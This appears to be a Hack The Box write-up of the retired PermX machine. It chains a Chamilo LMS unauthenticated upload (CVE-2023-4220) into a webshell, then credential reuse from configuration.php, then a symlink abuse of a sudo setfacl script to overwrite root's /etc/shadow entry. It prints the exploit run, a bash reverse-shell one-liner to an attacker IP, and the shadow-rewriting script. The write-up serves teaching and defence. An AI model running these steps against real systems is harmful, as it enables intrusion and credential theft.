root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat permx.md
// writeups

PermX

6 Jul 2024 · 10 min read
PermX - maquina de Hack The Box

Executive summary — PermX chains an unauthenticated file upload in Chamilo LMS (CVE-2023-4220) with a credential reuse between the application's database and a system account, ending in a symlink abuse of a sudo script wrapping setfacl — the script's path validation trusts that -f means "it's a file", but that's also true for a symlink pointing outside the allowed directory.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.39.120

Attack map

[80] permx.htb — static "eLEARNING" template, no backend
   │  vhost lms.permx.htb -> Chamilo LMS 1.11.24
   ▼
[80] lms.permx.htb — Chamilo LMS
   │  CVE-2023-4220 — unauthenticated file upload (bigUpload.php)
   ▼
[RCE]  www-data
   │  configuration.php leaks DB credentials, reused as the SSH
   │  password for the system user mtz
   ▼
[SSH]  mtz  (user.txt)
   │  sudo NOPASSWD /opt/acl.sh -> setfacl follows symlinks,
   │  the script only validates the path prefix (not the real type)
   ▼
[ROOT]  symlink to /etc/shadow + setfacl -> overwrite root's hash

1. Reconnaissance

nmap -p- --min-rate 5000 -T4 -oN nmap_all_ports.txt 10.129.39.120

Only two open ports:

nmap -p22,80 -sC -sV -oN nmap_sc.txt 10.129.39.120
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
echo "10.129.39.120 permx.htb" | sudo tee -a /etc/hosts

permx.htb turns out to be a static template for an "eLEARNING" company (Bootstrap, no real backend). A page like that makes it worth suspecting a subdomain tied to the business theme. A blind gobuster vhost produced a long list of false positives: the server answers with a generic 302 to permx.htb for any unconfigured vhost, and the tool didn't filter by response size. That output was discarded and manually verified against a random control vhost instead:

curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Host: lms.permx.htb" http://permx.htb/
# 200 19347   (vs 302 292 for a random, non-existent vhost)
echo "10.129.39.120 lms.permx.htb" >> /etc/hosts
curl -s -i http://lms.permx.htb/ | grep -iE "powered-by|generator"
X-Powered-By: Chamilo 1
<meta name="generator" content="Chamilo 1">

2. Initial exploitation — CVE-2023-4220 (RCE as www-data)

Chamilo LMS ≤ 1.11.24 exposes main/inc/lib/javascript/bigupload/inc/bigUpload.php with the post-unsupported action, which accepts arbitrary files (including .php) without authentication and drops them into a directory directly reachable and executable by Apache. A textbook case of why an upload directory should never also be a servable-code directory.

searchsploit -m php/webapps/52083.py -p /home/kali/htb-permx/
python3 52083.py http://lms.permx.htb/ "id"
[+] File uploaded successfully!
[+] Access the shell at: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The exploit uploads a minimal PHP webshell (rce.php, system($_GET['cmd'])). With RCE confirmed, a reverse shell to a local listener:

nc -lvnp 4444
# via the cmd parameter of the uploaded webshell:
curl "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=$(python3 -c "import urllib.parse;print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\"))")"

3. Credential pivot (user.txt)

Any web app with RCE keeps its own database credentials in some config file somewhere. For Chamilo:

curl -s "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=cat%20/var/www/chamilo/app/config/configuration.php" | grep -iE "pass|user|db_"
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

/etc/passwd shows a single system user with a shell: mtz. Trying the database password as mtz's SSH password is the obvious next move — and it works:

sshpass -p '03F6lY3uXAP2bkW8' ssh mtz@10.129.39.120 "id; cat /home/mtz/user.txt"
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
6be0403abb5e9377eaa17d691e71afac

user.txt: 6be0403abb5e9377eaa17d691e71afac

4. Privilege escalation (root.txt)

sudo -l
User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"; perm="$2"; target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

The script checks that the path starts with /home/mtz/, contains no .., and confirms with -f that it's a file. None of those three checks rule out a symlink: bash's -f follows a link to the real target file, and setfacl also follows symlinks by default when applying an ACL. A link inside /home/mtz/ pointing at /etc/shadow passes all three checks and makes setfacl operate directly on /etc/shadow.

ln -sf /etc/shadow /home/mtz/shadow_link
sudo /opt/acl.sh mtz rwx /home/mtz/shadow_link
getfacl /etc/shadow
# file: etc/shadow
# owner: root
# group: shadow
user::rw-
user:mtz:rwx
group::r--
mask::rwx
other::---

With write access to /etc/shadow, a SHA-512 hash is generated for a known password and root's entry is overwritten (via a Python script executed remotely, to avoid $-expansion issues in the local shell):

openssl passwd -6 -salt saltx 'Passw0rd123!'
# $6$saltx$4tYYgPQh6ev4PwGnJX3PnbOFHh3xDYNG96AotMMP1oAN3g0EHCNkVXBCa6fdb3GigO6hywGp79ac6Hp7Lq9pY1
newhash = '$6$saltx$4tYYgPQh6ev4PwGnJX3PnbOFHh3xDYNG96AotMMP1oAN3g0EHCNkVXBCa6fdb3GigO6hywGp79ac6Hp7Lq9pY1'
content = open('/etc/shadow').read().splitlines()
newlines = []
for line in content:
    if line.startswith('root:'):
        parts = line.split(':'); parts[1] = newhash
        newlines.append(':'.join(parts))
    else:
        newlines.append(line)
open('/etc/shadow','w').write('\n'.join(newlines)+'\n')
echo 'Passw0rd123!' | su -c 'id; cat /root/root.txt' root
uid=0(root) gid=0(root) groups=0(root)
b5a490623997f5b9ae80d36242493f09

root.txt: b5a490623997f5b9ae80d36242493f09

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdChamilo LMS — bigUpload.phpCVE-2023-4220 — unauthenticated arbitrary file uploadRCE as www-data
Lateral movementconfiguration.php / SSHDB password reused as SSH password for user mtzAccess as mtz (user.txt)
PrivEsc/opt/acl.sh (sudo NOPASSWD) + setfaclPrefix-only path validation, doesn't rule out symlinksRoot via /etc/shadow overwrite (root.txt)

Lessons learned

  • Faced with a "template" page with no apparent functionality, it's worth suspecting a theme-related subdomain (here, "eLEARNING" → LMS) and verifying it by hand with curl -H "Host: ..." instead of trusting a fuzzer blindly when the server has catch-all behavior.
  • Web application config files (configuration.php, .env, wp-config.php...) are a common source of reusable credentials for SSH/system access — always check them after getting application-level RCE.
  • A sudo script that only validates a path prefix (target == /home/user/*) is vulnerable to symlinks unless it resolves the real path (readlink -f) before operating, or uses options that avoid following links. This pattern — prefix check + symlink follow — repeats across many other "utility" scripts placed in sudoers.